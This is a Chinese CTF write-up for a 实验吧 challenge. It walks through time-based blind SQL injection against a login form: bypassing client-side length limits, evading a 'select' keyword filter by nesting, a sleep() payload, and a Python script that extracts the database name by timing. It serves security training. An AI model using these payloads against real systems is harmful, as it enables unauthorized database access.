实验吧 看起来有点难(手工注入加sqlmap注入)

嗯~打开题目看见一个逼格有点高的图

实验吧 看起来有点难(手工注入加sqlmap注入)

查看网页源代码,表单以get的方式传送三个参数(admin,pass,action)给index.php,但是限制了两个输入框的最大长度是10,这个是前端的限制,形同虚设。我们可以用按浏览器的F12,改变其值的大小,或者在URL栏中输入都可以。

实验吧 看起来有点难(手工注入加sqlmap注入)

 

然后我们在输入框中随便输入一点测试看会报什么错,或者过滤了什么关键字符,我们可以输入一些敏感的字符串。然后我们可以看见我们在admin中输入的会打印在屏幕上。并且我们发现用户名框把select,#过滤了,而select只是简单的过滤,可以构造成seleselectct绕过;而且我们在用户名输入admin时爆的错可以让我们确定正确的用户名就是admin

实验吧 看起来有点难(手工注入加sqlmap注入)

实验吧 看起来有点难(手工注入加sqlmap注入)

既然知道了用户名,且substring,mid语句都没有被过滤。我们开始构造注入语句看看能不能成功。

 ?pass=&action=login&admin=admin' and sleep(5) or '1'='0" 

实验吧 看起来有点难(手工注入加sqlmap注入)

嗯~发现页面等了5~6秒才显示。说明语句执行成功了。可以注入!!

开始写python3脚本

爆库名

 

1 import requests 2 import string 3 4 gress=string.ascii_lowercase+string.ascii_uppercase+string.punctuation+string.digits 5 databaseName='' 6 7 for i in range(1, 13): #假设库名长度为12 8 for playload in gress: 9 10 url = "?pass=&action=login&admin=admin' and case when(substr(database(),%s,1)='%s') then sleep(10) else 1 end or '1'='0" %(i,playload) 11 #key={'pass':'','action':'login'} 12 try: 13 print("正在测试第%d个字符是否为'%s'"%(i,playload)) 14 r = requests.get(url,timeout=4) 15 except: 16 suo=0 17 databaseName+=playload 18 print("数据库名为是%s"%databaseName) 19 break 20 21 print(databaseName)

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zyjjys.html